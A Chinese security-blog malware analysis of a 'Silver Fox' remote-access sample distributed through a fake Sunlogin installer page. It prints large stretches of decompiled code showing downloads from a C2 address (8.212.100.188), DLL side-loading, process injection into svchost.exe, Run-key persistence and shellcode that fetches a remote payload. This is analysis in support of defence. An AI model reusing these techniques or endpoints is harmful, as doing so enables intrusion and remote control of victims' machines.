由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!公众号现在只对常读和星标的公众号才展示大图推送,建议大家把听风安全设为星标,否则可能就看不到啦!----------------------------------------------------------------------一、样本来源从某个模仿向日葵安装程序钓鱼页面获取到了一个银狐的样本通过威胁情报平台查询样本请求的域名可以得知这是银狐组织的投放的恶意文件二、样本基本信息文件名:setup.exe大小:4.47mb架构:386模式:32 位类型:EXEC字节序:LEMD5:be52bf67620b2028155a205dbe21b20bSHA1:b114d1141c6c20db9cf8be98f5cc6ec83ad858adSHA256:33a82eeca2f168ceb6cd533586350d42a5eafaf152649d78e44f95f4188ab6c8三、执行流程分析该样本执行流程如下,通过一系列的操作执行了一段用于远控的shellcode:该样本目前在VT上只有2个检出,其中很大一部分原因是因为远程服务器已经不能访问了:四、详细分析前期加载流程 CWnd::ShowWindow(this[8], 0); strcpy(LibFileName, "kernel32.dll"); LibraryA = LoadLibraryA(LibFileName); v3 = LibraryA; if ( !LibraryA ) return 0; strcpy(v15, "eA"); *(__m128i *)ProcName = _mm_load_si128((const __m128i *)&xmmword_7FF614313700); GetModuleFileNameA = GetProcAddress(LibraryA, ProcName); if ( !GetModuleFileNameA ) { FreeLibrary(v3); return 0; } ((void (__fastcall *)(_QWORD, char *, __int64))GetModuleFileNameA)(0i64, Src, 260i64); v0 = 0i64; OldValue[0] = 0; Dst[2] = 0i64; Dst[3] = 0i64; Src = _mm_load_si128((const __m128i *)&xmmword_7FF6143136B0); strcpy(v6, "ge"); std::string::_Tidy(Dst, 0i64, 0i64); if ( Src.m128i_i8[0] ) { v0 = -1i64; do ++v0; while ( Src.m128i_i8[v0] ); } sub_7FF6140994A0(Dst, Src.m128i_i8, v0); v1 = RtlAdjustPrivilege(0x14u, 1u, 0, OldValue); sub_7FF61409F210(Dst, v1); return OldValue[0]; sub_7FF61409AAD0(v20, v2, (char *)a1 + v1[2]); memset(&pe.cntUsage, 0, 0x234ui64); pe.dwSize = 568; Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0); v4 = Toolhelp32Snapshot; if ( Toolhelp32Snapshot == (HANDLE)-1i64 ) { v17[0] = 0i64; v17[1] = 0i64; v18 = "无法创建进程快照"; v19 = 1; _std_exception_copy(&v18, v17); pExceptionObject = &std::runtime_error::`vftable'; CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__); } if ( !Process32FirstW(Toolhelp32Snapshot, &pe) ) {LABEL_17: CloseHandle(v4); v15 = sub_7FF61409AB60(&v18, v14, v1); sub_7FF614095A80(&pExceptionObject, v15); CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__); } v5 = v20[3]; v6 = v20[0]; while ( 1 ) { v7 = v20; if ( v5 >= 8 ) v7 = (__int64 *)v6; v8 = (char *)((char *)pe.szExeFile - (char *)v7); do { v9 = *(unsigned __int16 *)&v8[(_QWORD)v7]; v10 = *(unsigned __int16 *)v7 - v9; if ( v10 ) break; v7 = (__int64 *)((char *)v7 + 2); } while ( v9 ); if ( !v10 ) break; if ( !Process32NextW(v4, &pe) ) goto LABEL_17; } Src[0] = (__int128)_mm_load_si128((const __m128i *)&xmmword_7FF614313640); Src[1] = (__int128)_mm_load_si128((const __m128i *)&xmmword_7FF614313620); Src[2] = (__int128)_mm_load_si128((const __m128i *)&xmmword_7FF6143136C0); Src[3] = (__int128)_mm_load_si128((const __m128i *)&xmmword_7FF614313730); Src[4] = (__int128)_mm_load_si128((const __m128i *)&xmmword_7FF614313580); Src[5] = (__int128)_mm_load_si128((const __m128i *)&xmmword_7FF614313610); strcpy(v91, "lQE=");请求http://8.212.100.188/POOTdigitSix.bin获取下一阶段数据: v4 = InternetOpenW(L"MyApp", 1u, 0i64, 0i64, 0); v5 = v4; if ( !v4 ) { v9[0] = 0i64; v9[1] = 0i64; v11 = "InternetOpen failed"; v12 = 1; _std_exception_copy(&v11, v9); pExceptionObject = &std::runtime_error::`vftable'; CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__); } v6 = InternetOpenUrlW(v4, a2, 0i64, 0, 0x80000000, 0i64); if ( !v6 ) { InternetCloseHandle(v5); sub_7FF614095AF0(&pExceptionObject, "InternetOpenUrl failed"); CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__); } do { if ( !InternetReadFile(v6, Buffer, 0x1000u, &dwNumberOfBytesRead) ) { InternetCloseHandle(v6); InternetCloseHandle(v5); sub_7FF614095AF0(&pExceptionObject, "InternetReadFile failed"); CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__); } sub_7FF61409B030(a1, a1[1], Buffer, &Buffer[dwNumberOfBytesRead]); } while ( dwNumberOfBytesRead ); InternetCloseHandle(v6); InternetCloseHandle(v5);_QWORD *__fastcall sub_7FF614096990(_QWORD *a1, _QWORD *a2){ if ( (_DWORD)v5 ) { v7 = 0i64; v8 = 0i64; do { LODWORD(v5) = v5 - 1; v9 = a2[3]; if ( v9 < 0x10 ) v10 = a2; else v10 = (_QWORD *)*a2; if ( *((_BYTE *)v10 + v7) == '=' ) break; v11 = v9 < 0x10 ? a2 : (_QWORD *)*a2; v12 = *((_BYTE *)v11 + v7); if ( !isalnum(v12) && ((v12 - 43) & 0xFB) != 0 ) break; if ( a2[3] < 0x10ui64 ) v13 = a2; else v13 = (_QWORD *)*a2; *(&v30 + v8) = *((_BYTE *)v13 + v7); ++v6; ++v8; ++v7; if ( v8 == 4 ) { for ( i = 0i64; i < 4; ++i ) *(&v30 + i) = (unsigned __int8)strchr( "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", (unsigned __int8)*(&v30 + i)) - (unsigned __int8)"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; v37 = 4 * v30 + ((v31 >> 4) & 3); v38 = 16 * v31 + ((v32 >> 2) & 0xF); v39 = v33 + (v32 << 6); for ( j = 0i64; j < 3; ++j ) { v16 = a1[1]; v17 = &v37 + j; if ( (unsigned __int64)(&v37 + j) >= v16 || *a1 > (unsigned __int64)v17 ) { if ( v16 == a1[2] ) sub_7FF614099090(a1, 1i64); v20 = (char *)a1[1]; if ( v20 ) *v20 = *v17; } else { v18 = &v17[-*a1]; if ( v16 == a1[2] ) sub_7FF614099090(a1, 1i64); v19 = (_BYTE *)a1[1]; if ( v19 ) *v19 = v18[*a1]; } ++a1[1]; } v6 = 0; v8 = 0i64; } } while ( (_DWORD)v5 ); if ( v6 ) { v21 = v6; v22 = (unsigned __int64)v6 < 4; if ( v6 < 4i64 ) { do { if ( !v22 ) _report_rangecheckfailure(); *(&v30 + v21++) = 0; v22 = (unsigned __int64)v21 < 4; } while ( v21 < 4 ); } do { *(&v30 + v4) = (unsigned __int8)strchr( "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", (unsigned __int8)*(&v30 + v4)) - (unsigned __int8)"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; ++v4; } while ( v4 < 4 ); v37 = 4 * v30 + ((v31 >> 4) & 3); v38 = 16 * v31 + ((v32 >> 2) & 0xF); v23 = (unsigned int)(v6 - 1); if ( (int)v23 > 0 ) { v24 = &v37; do { v25 = a1[1]; if ( (unsigned __int64)v24 >= v25 || *a1 > (unsigned __int64)v24 ) { if ( v25 == a1[2] ) sub_7FF614099090(a1, 1i64); v28 = (char *)a1[1]; if ( v28 ) *v28 = *v24; } else { v26 = &v24[-*a1]; if ( v25 == a1[2] ) sub_7FF614099090(a1, 1i64); v27 = (_BYTE *)a1[1]; if ( v27 ) *v27 = v26[*a1]; } ++a1[1]; ++v24; --v23; } while ( v23 ); } } } return a1;}再次请求http://8.212.100.188/tomemb.exe下载数据: wcscpy(ModuleName, L"wininet.dll"); v2 = 0; Src[0] = 7209033; Src[1] = 6619252; Src[2] = 7209074; Src[3] = 7602277; Src[4] = 7077955; Src[5] = 7536751; Src[6] = 4718693; Src[7] = 7209057; Src[8] = 7077988; Src[9] = 101; ModuleHandleW = GetModuleHandleW(ModuleName); v4 = ModuleHandleW; if ( ModuleHandleW ) { v11 = 0i64; v12 = 0i64; sub_7FF614099110((const void **)WideCharStr, 0, 0i64); if ( LOWORD(Src[0]) ) { v5 = -1i64; do ++v5; while ( *((_WORD *)Src + v5) ); } else { v5 = 0i64; } sub_7FF614099190((void **)WideCharStr, (char *)Src, (void *)v5); v6 = (const CHAR *)sub_7FF6140968B0(Dst, WideCharStr); if ( *((_QWORD *)v6 + 3) >= 0x10ui64 ) v6 = *(const CHAR **)v6; ProcAddress = GetProcAddress(v4, v6); LOBYTE(v8) = 1; std::string::_Tidy(Dst, v8, 0i64); sub_7FF614099110((const void **)WideCharStr, 1, 0i64); if ( ProcAddress ) v2 = ((__int64 (__fastcall *)(__int64))ProcAddress)(a1); LOBYTE(ModuleHandleW) = v2 != 0;int __fastcall sub_7FF614097A50(__int64 a1){ HMODULE LibraryW; // rax HMODULE v3; // rbx HINSTANCE (__stdcall *ShellExecuteW)(HWND, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, INT); // rax int v6[2]; // [rsp+30h] [rbp-38h] BYREF __int16 v7; // [rsp+38h] [rbp-30h] WCHAR LibFileName[12]; // [rsp+40h] [rbp-28h] BYREF wcscpy(LibFileName, L"Shell32.dll"); LibraryW = LoadLibraryW(LibFileName); v3 = LibraryW; if ( LibraryW ) { ShellExecuteW = (HINSTANCE (__stdcall *)(HWND, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, INT))GetProcAddress( LibraryW, "ShellExecuteW"); if ( ShellExecuteW ) { v6[0] = 7340143; v6[1] = 7209061; v7 = 0; ((void (__fastcall *)(_QWORD, int *, __int64, _QWORD, _QWORD, int))ShellExecuteW)(0i64, v6, a1, 0i64, 0i64, 1); } LODWORD(LibraryW) = FreeLibrary(v3); } return (int)LibraryW;}在C:\Users\Public目录下被释放文件如下:白加黑执行dll释放的exe信息如下,是一个名叫嵌入式浏览器的白文件:IDA分析,可以发现该exe的主要流程就是尝试加载两个dll,加载完就结束程序: wcscpy(LibFileName, L"kernel32.dll"); wcscpy(v11, L"Shlwapi.dll"); LibraryW = LoadLibraryW(LibFileName); v4 = LoadLibraryW(v11); if ( LibraryW && v4 ) { strcpy(v7, "GetModuleFileNameW"); strcpy(v9, "DisableThreadLibraryCalls"); strcpy(v8, "PathRemoveFileSpecW"); strcpy(ProcName, "MoveFileExW"); strcpy(v15, "PathAppendW"); strcpy(v6, "PathFileExistsW"); MoveFileExW = (BOOL (__stdcall *)(LPCWSTR, LPCWSTR, DWORD))GetProcAddress(LibraryW, ProcName); GetModuleFileNameW_0 = (DWORD (__stdcall *)(HMODULE, LPWSTR, DWORD))GetProcAddress(LibraryW, v7); DisableThreadLibraryCalls = (BOOL (__stdcall *)(HMODULE))GetProcAddress(LibraryW, v9); PathRemoveFileSpecW = (BOOL (__stdcall *)(LPWSTR))GetProcAddress(v4, v8); PathAppendW = (BOOL (__stdcall *)(LPWSTR, LPCWSTR))GetProcAddress(v4, v15); PathFileExistsW = (BOOL (__stdcall *)(LPCWSTR))GetProcAddress(v4, v6); }拼接字符串,其中字符串的内容为释放的文件的文件名: v16[0] = 't'; v16[1] = 'o'; v16[10] = '\0'; v16[2] = 'm'; v16[4] = 'm'; v15[1] = 'i'; v15[0] = 'l'; v15[8] = 'l'; v15[9] = 'l'; v16[5] = 'b'; v15[2] = 'b'; v15[5] = 'b'; v15[10] = 0; v17[0] = 't'; v17[1] = 'o'; v17[4] = 'o'; v17[6] = '\0'; v16[3] = 'e'; v16[6] = '.'; v16[7] = 'e'; v16[8] = 'x'; v16[9] = 'e'; v15[3] = 'e'; v15[4] = 'm'; v15[6] = '.'; v15[7] = 'd'; v17[2] = 'm'; v17[3] = '.'; v17[5] = 'x';判断函数是否被加载,并把C:\Users\Public\释放的文件移动到C:\Users\Public\Documents :BOOL __cdecl sub_738EAE75(const WCHAR *a1){ wchar_t Destination[260]; // [esp+8h] [ebp-858h] BYREF wchar_t ExistingFileName[260]; // [esp+210h] [ebp-650h] BYREF wchar_t Filename[260]; // [esp+418h] [ebp-448h] BYREF wchar_t NewFileName[260]; // [esp+620h] [ebp-240h] BYREF wchar_t Source[26]; // [esp+828h] [ebp-38h] BYREF if ( !MoveFileExW ) return 0; if ( !GetModuleFileNameW_0 ) return 0; if ( !PathRemoveFileSpecW ) return 0; if ( !PathAppendW ) return 0; if ( !PathFileExistsW ) return 0; wcscpy(Source, L"C:\\Users\\Public\\Documents"); wcscpy_s(Destination, 0x104u, Source); if ( !GetModuleFileNameW_0(0, Filename, 0x104u) ) return 0; PathRemoveFileSpecW(Filename); wcscpy_s(NewFileName, 0x104u, Destination); if ( !PathAppendW(NewFileName, a1) ) return 0; if ( PathFileExistsW(NewFileName) ) return 1; wcscpy_s(ExistingFileName, 0x104u, Filename); return PathAppendW(ExistingFileName, a1) && MoveFileExW(ExistingFileName, NewFileName, 1u);}wcscpy(FileName, L"C:\\Users\\Public\\Documents\\tom.ox"); FileW = CreateFileW(FileName, 0x80000000, 1u, 0, 3u, 0x80u, 0); v12 = 0; if ( FileW ) { FileSize = GetFileSize(FileW, 0); v2 = FileSize; if ( FileSize ) { v3 = (void *)sub_738EDE97(FileSize + 1); LOBYTE(v12) = 1; ReadFile(FileW, v3, v2, &NumberOfBytesRead, 0); Block = 0; v8 = 0; *((_BYTE *)v3 + NumberOfBytesRead) = 0; if ( (unsigned __int8)sub_738EB3D5((LPCSTR)v3, (int)&Block, (int)&v8) ) { v4 = Block; v10[0] = 341013025; v10[1] = -1196976507; v10[2] = -51651895; v10[3] = 808394253; v11[0] = -752399457; v11[1] = 718114385; v11[2] = 1453407423; v11[3] = 1033533668; sub_738EB4BF(Block, v8, v10, 16, v11, 16); sub_738D1000(v4); j___free_base_0(v4); } if ( v3 ) j_j_j___free_base_0(v3); } } if ( FileW && FileW != (HANDLE)-1 ) CloseHandle(FileW); return 0;char __cdecl sub_74C07B84(LPCSTR pszString, void **a2, DWORD *a3){ char result; // al BYTE *v4; // eax DWORD pcbBinary; // [esp+Ch] [ebp-8h] BYREF pcbBinary = 0; if ( !CryptStringToBinaryA(pszString, 0, 1u, 0, &pcbBinary, 0, 0) ) return 0; v4 = (BYTE *)malloc(pcbBinary); *a2 = v4; if ( !v4 ) return 0; if ( !CryptStringToBinaryA(pszString, 0, 1u, v4, &pcbBinary, 0, 0) ) { j___free_base(*a2); *a2 = 0; return 0; } result = 1; *a3 = pcbBinary; return result;}由于是解密文件并在内存中执行,分析起来比较麻烦,因此将其dump下来: auto fp, begin, end, dexbyte; fp = fopen("D:\\dump.dex", "wb"); begin = 0x01050FF0; end = 0x01050FF0+0x015c00; for ( dexbyte = begin; dexbyte < end; dexbyte ++ ) fputc(Byte(dexbyte), fp);反射加载dllstruct _PROCESS_INFORMATION ProcessInformation; // [esp+1314h] [ebp-58h] BYREFstruct _STARTUPINFOA StartupInfo; // [esp+1324h] [ebp-48h] BYREF memset(&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = 68; ProcessInformation = 0i64; result = CreateProcessA(0, (LPSTR)"svchost.exe", 0, 0, 0, 0x8000004u, 0, 0, &StartupInfo, &ProcessInformation);BOOL __fastcall sub_74C22DA0(HANDLE hProcess, HANDLE hThread, const void *a3){ BOOL result; // eax void *v6; // esi CONTEXT Context; // [esp+Ch] [ebp-2D4h] BYREF SIZE_T NumberOfBytesWritten; // [esp+2D8h] [ebp-8h] BYREF memset(&Context, 0, sizeof(Context)); Context.ContextFlags = 65543; result = GetThreadContext(hThread, &Context); if ( result ) { v6 = VirtualAllocEx(hProcess, 0, 0x985u, 0x3000u, 0x40u); if ( !v6 ) return 0; if ( !WriteProcessMemory(hProcess, v6, a3, 0x985u, &NumberOfBytesWritten) || (Context.Eip = (DWORD)v6, !SetThreadContext(hThread, &Context)) ) { VirtualFreeEx(hProcess, v6, 0, 0x8000u); return 0; } return 1; } return result;} if ( sub_74C22DA0(ProcessInformation.hProcess, ProcessInformation.hThread, (int)v8) ) { ResumeThread(ProcessInformation.hThread); hProcess = ProcessInformation.hProcess; CloseHandle(ProcessInformation.hThread); CloseHandle(hProcess); return 1; } else { v6 = ProcessInformation.hProcess; CloseHandle(ProcessInformation.hThread); CloseHandle(v6); return 0; } }BOOL sub_74C22BF0(){ int v1; // eax LSTATUS v2; // esi HKEY phkResult; // [esp+0h] [ebp-8h] BYREF if ( RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0x2001Fu, &phkResult) ) return 0; v1 = lstrlenW(L"C:\\Users\\Public\\Documents\\tomemb.exe"); v2 = RegSetValueExW( phkResult, L"tomemb", 0, 1u, (const BYTE *)L"C:\\Users\\Public\\Documents\\tomemb.exe", 2 * v1 + 2); RegCloseKey(phkResult); return v2 == 0;} for ( i = v18; i != v7; i += 24 ) { if ( *(_DWORD *)(i + 20) < 8u ) v9 = (const WCHAR *)i; else v9 = *(const WCHAR **)i; FileAttributesW = GetFileAttributesW(v9); if ( FileAttributesW != -1 && (FileAttributesW & 6) != 6 ) { v11 = FileAttributesW | 6; if ( *(_DWORD *)(i + 20) < 8u ) v12 = (const WCHAR *)i; else v12 = *(const WCHAR **)i; SetFileAttributesW(v12, v11); }系统进程注入接下来分析注入的shellcode,通过hex查看可以很明显出是银狐组织c2的特征: for ( i = NtCurrentPeb()->Ldr->InMemoryOrderModuleList.Flink; ; i = i->Flink ) { if ( !i ) { v5 = 0; goto LABEL_10; } Flink = i[5].Flink; v2 = LOWORD(i[4].Blink) >> 1; for ( j = 0; v2; --v2 ) { Flink_low = LOWORD(Flink->Flink); Flink = (struct _LIST_ENTRY *)((char *)Flink + 2); if ( Flink_low >= 0x61 ) LOWORD(Flink_low) = Flink_low - 32; j = (unsigned __int16)Flink_low + 131 * j; } if ( (j & 0x7FFFFFFF) == 483040486 ) break; } v5 = (int)i[2].Flink;LABEL_10: v13 = (int (__stdcall *)(int, _BYTE *))sub_12A0744(v5, 448378964, 0); LoadLibraryA = (int (__stdcall *)(char *))sub_12A0744(v5, 2132811640, v13); VirtualAlloc = (int (__stdcall *)(_DWORD, _DWORD, int, int))sub_12A0744(v5, 1586050146, v13); v16 = sub_12A0744(v5, 105414771, v13); v17 = sub_12A0744(v5, 1885139621, v13); strcpy(v11, "ntdll"); v6 = LoadLibraryA(v11); RtlZeroMemory = (void (__stdcall *)(int, _DWORD))sub_12A0744(v6, 229997003, v13); RtlMoveMemory = (void (__stdcall *)(int, int, _DWORD))sub_12A0744(v6, 353954240, v13);v8 = *(_DWORD *)(v32 + 32) + *(_DWORD *)(v32 + 44); strcpy(v12, "Ws2_32.dll"); v33 = v32 + 2 * v8 + 56; v9 = LoadLibraryA(v12); WSAStartup = (int (__stdcall *)(int, char *))sub_12A0744(v9, 861021748, v13); v21 = sub_12A0744(v9, 641740191, v13); v22 = sub_12A0744(v9, 1095996673, v13); v23 = sub_12A0744(v9, 2019458519, v13); v24 = sub_12A0744(v9, 825918664, v13); v25 = sub_12A0744(v9, 153833690, v13); v26 = sub_12A0744(v9, 260278236, v13); v27 = sub_12A0744(v9, 258028722, v13); v28 = sub_12A0744(v9, 346822171, v13); v29 = sub_12A0744(v9, 1341402319, v13); if ( !WSAStartup(514, v36) ) { while ( 1 ) { if ( *(_BYTE *)(v32 + 40) ) ((void (__cdecl *)(int))unk_12A033A)(1); else ((void (__cdecl *)(int))unk_12A04DC)(1); if ( *(_BYTE *)(v32 + 52) ) ((void (__cdecl *)(int))unk_12A033A)(2); else ((void (__cdecl *)(int))unk_12A04DC)(2); } } return 0;}int __usercall sub_12A033A@<eax>(int function_box@<ebx>, int a2){ int socket_return; // eax int VirtualAlloc_return; // eax int v4; // eax _DWORD *v5; // esi int v6; // eax int v7; // eax int v8; // edi int v9; // esi int v10; // ecx int v11; // eax void (__stdcall *v12)(_DWORD); // eax int result; // eax int v14; // [esp-10h] [ebp-28h] int v15; // [esp+8h] [ebp-10h] int v16; // [esp+Ch] [ebp-Ch] BYREF int v17; // [esp+10h] [ebp-8h] char v18[4]; // [esp+14h] [ebp-4h] BYREF v17 = 0; v16 = 0; socket_return = (*(int (__stdcall **)(int, int, int))(function_box + 32))(2, 1, 6);// socket *(_DWORD *)(function_box + 68) = socket_return; if ( socket_return != -1 ) { VirtualAlloc_return = (*(int (__stdcall **)(_DWORD, int, int, int))(function_box + 8))(0, 524302, 12288, 64);// VirtualAlloc *(_DWORD *)(function_box + 88) = VirtualAlloc_return; if ( VirtualAlloc_return ) { v4 = a2 == 1 ? *(_DWORD *)(function_box + 100) : *(_DWORD *)(function_box + 104); if ( !(*(int (__stdcall **)(int, _DWORD, _DWORD, int *))(function_box + 36))(v4, 0, 0, &v16) )// getaddrinfo { v5 = *(_DWORD **)(v16 + 24); v6 = *(_DWORD *)(function_box + 92); *(_DWORD *)(function_box + 72) = *v5++; *(_DWORD *)(function_box + 76) = *v5++; *(_DWORD *)(function_box + 80) = *v5; *(_DWORD *)(function_box + 84) = v5[1]; v7 = a2 == 1 ? *(_DWORD *)(v6 + 36) : *(_DWORD *)(v6 + 48); *(_WORD *)(function_box + 74) = (*(int (__stdcall **)(int))(function_box + 44))(v7);// htons if ( (*(int (__stdcall **)(_DWORD, int, int))(function_box + 48))(// connect *(_DWORD *)(function_box + 68), function_box + 72, 16) != -1 ) { v14 = *(_DWORD *)(function_box + 68); strcpy(v18, "32"); if ( (*(int (__stdcall **)(int, char *, int, _DWORD))(function_box + 52))(v14, v18, 3, 0) > 0 )// send { v8 = 0; v17 = (*(int (__stdcall **)(_DWORD, int, int, int))(function_box + 8))(0, 317440, 12288, 4);// VirtualAlloc if ( v17 ) { while ( 1 ) { v9 = (*(int (__stdcall **)(_DWORD, int, int, _DWORD))(function_box + 56))(// recv *(_DWORD *)(function_box + 68), v17, 102400, 0); if ( v9 <= 0 ) break; (*(void (__stdcall **)(int, int, int))(function_box + 24))(v8 + *(_DWORD *)(function_box + 88), v17, v9);// RtlMoveMemory v8 += v9; if ( v8 == 307214 ) { (*(void (__stdcall **)(int, _DWORD, int))(function_box + 12))(v17, 0, 0x8000);// VirtualFree v10 = *(_DWORD *)(function_box + 88); *(_DWORD *)(function_box + 88) = v10 + 14; v17 = 0; v15 = 0; while ( 1 ) { v11 = v17; *(_BYTE *)(v17 + *(_DWORD *)(function_box + 88)) ^= *(unsigned __int8 *)(v15 + v10 + 4) % 1989 + 54; ++v15; if ( !(v11 % 10) ) v15 = 0; if ( ++v17 >= 307214 ) { v12 = (void (__stdcall *)(_DWORD))(*(int (**)(void))(function_box + 88))();// loader dll v12(*(_DWORD *)(function_box + 96)); while ( 1 ) ; } } } } } } } } } } if ( v16 ) (*(void (__stdcall **)(int))(function_box + 40))(v16); if ( *(_DWORD *)(function_box + 68) != -1 ) (*(void (__stdcall **)(_DWORD))(function_box + 60))(*(_DWORD *)(function_box + 68)); result = *(_DWORD *)(function_box + 88); if ( result ) result = (*(int (__stdcall **)(int, _DWORD, int))(function_box + 12))(result, 0, 0x8000); if ( v17 ) return (*(int (__stdcall **)(int, _DWORD, int))(function_box + 12))(v17, 0, 0x8000); return result;}再次反射加载dll执行远控void __cdecl sub_13F6400(const __m128i *a1){ int v1; // eax if ( !hObject ) { v1 = lstrlenW((LPCWSTR)a1); sub_13FC940((unsigned int)aXiugaishiyong, a1, 2 * v1 + 2); sub_13F5E30(); hObject = CreateThread(0, 0, StartAddress, 0, 0, 0); WaitForSingleObject(hObject, 0xFFFFFFFF); CloseHandle(hObject); }} ((void (__cdecl *)(wchar_t *))sub_13F7640)(aXiugaishiyong); ((void (__cdecl *)(void *, _DWORD, int))sub_13FC8C0)(&unk_140C6E0, 0, 4768); ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aP1, &unk_140C6FE, 0); ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aO1, &unk_140C8FC, 0); ((void (__cdecl *)(wchar_t *, _DWORD, int *))decode_str)(aT1, 0, &dword_140C938); ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aP2, &unk_140C93C, 0); ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aO2, &unk_140CB3A, 0); ((void (__cdecl *)(wchar_t *, _DWORD, int *))decode_str)(aT2, 0, &dword_140CB78); ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aP3, &unk_140CB7C, 0); ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aO3, &unk_140CD7A, 0); ((void (__cdecl *)(wchar_t *, _DWORD, int *))decode_str)(aT3, 0, &dword_140CDB8); ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aDd, &unk_140CDBC, 0); ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aCl, &unk_140CDF8, 0); ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aFz, &unk_140CE34, 0); ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aBb, &unk_140CE98, 0); ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aBz, &unk_140CEFC, 0); ((void (__cdecl *)(wchar_t *, _DWORD, void *))decode_str)(aJp, 0, &unk_140CF60); ((void (__cdecl *)(wchar_t *, _DWORD, void *))decode_str)(aSx, 0, &unk_140CF64); ((void (__cdecl *)(wchar_t *, _DWORD, void *))decode_str)(aBh, 0, &unk_140CF68); ((void (__cdecl *)(wchar_t *, _DWORD, void *))decode_str)(aLl, 0, &unk_140CF6C); ((void (__cdecl *)(wchar_t *, _DWORD, void *))decode_str)(aDl, 0, &unk_140CF70); ((void (__cdecl *)(wchar_t *, _DWORD, void *))decode_str)(aSh, 0, &unk_140CF74); ((void (__cdecl *)(wchar_t *, _DWORD, int *))decode_str)(aKl, 0, &dword_140CF78); ((void (__cdecl *)(wchar_t *, _DWORD, void *))decode_str)(aBd, 0, &unk_140CF7C);8.212.100.18888888.212.100.1888.212.100.1886666127.0.0.1127.0.0.180180110xD8, 0x9E, 0xA4, 0x8B1.02024.10.21 v0 = RegOpenKeyExW(HKEY_CURRENT_USER, SubKey, 0, 0x20019u, &phkResult);//Console RegQueryValueExW = ::RegQueryValueExW; if ( !v0 ) ::RegQueryValueExW(phkResult, aIpdate, 0, &v3, 0, &v4);//ipdate if ( v4 > 0xA ) { sub_13FC8C0((int)aXiugaishiyong, 0, 0x7D0u); RegQueryValueExW(phkResult, aIpdate, 0, &v3, (LPBYTE)aXiugaishiyong, &v4); hObject = CreateThread(0, 0, StartAddress, 0, 0, 0); WaitForSingleObject(hObject, 0xFFFFFFFF); CloseHandle(hObject);尝试连接8.212.100.188,等待接收服务端信息并执行命令 v7 = lstrlenW(a2); cbMultiByte = WideCharToMultiByte(0, 0, a2, v7, 0, 0, 0, 0); v8 = (CHAR *)sub_13F68BF(cbMultiByte + 1); v9 = lstrlenW(a2); WideCharToMultiByte(0, 0, a2, v9, v8, cbMultiByte, 0, 0); v8[cbMultiByte] = 0; v10 = gethostbyname(v8); sub_13F68CA(v8); if ( !v10 ) return 0; name.sa_family = 2; *(_WORD *)name.sa_data = htons(a3); v17 = *(_DWORD *)(this + 100); *(_DWORD *)&name.sa_data[2] = **(_DWORD **)v10->h_addr_list; if ( connect(v17, &name, 16) == -1 ) return 0; v11 = setsockopt; v13 = *(_DWORD *)(this + 100); v24 = 0x40000; setsockopt(v13, 0xFFFF, 4097, (const char *)&v24, 4); v14 = *(_DWORD *)(this + 100); v24 = 0x40000; v11(v14, 0xFFFF, 4098, (const char *)&v24, 4); v15 = *(_DWORD *)(this + 100); v21 = 30000; v11(v15, 0xFFFF, 4102, (const char *)&v21, 4); v16 = *(_DWORD *)(this + 100); v20 = 1; if ( !v11(v16, 0xFFFF, 8, (const char *)&v20, 4) ) { v12 = *(_DWORD *)(this + 100); vInBuffer[0] = 1; vInBuffer[1] = 180000; vInBuffer[2] = 5000; WSAIoctl(v12, 0x98000004, vInBuffer, 0xCu, 0, 0, &cbBytesReturned, 0, 0); } InterlockedExchange_0((volatile LONG *)(this + 24), 1);五、总结根据去年的情况,多个黑产团伙频繁使用“银狐”黑客远控工具。今年,这些团伙依然活跃,并持续更新攻击样本。他们运用各种免杀策略,巧妙规避安全厂商的检测,同时不断提升免杀对抗手法的复杂性。如果不想错过新的内容推送可以设为星标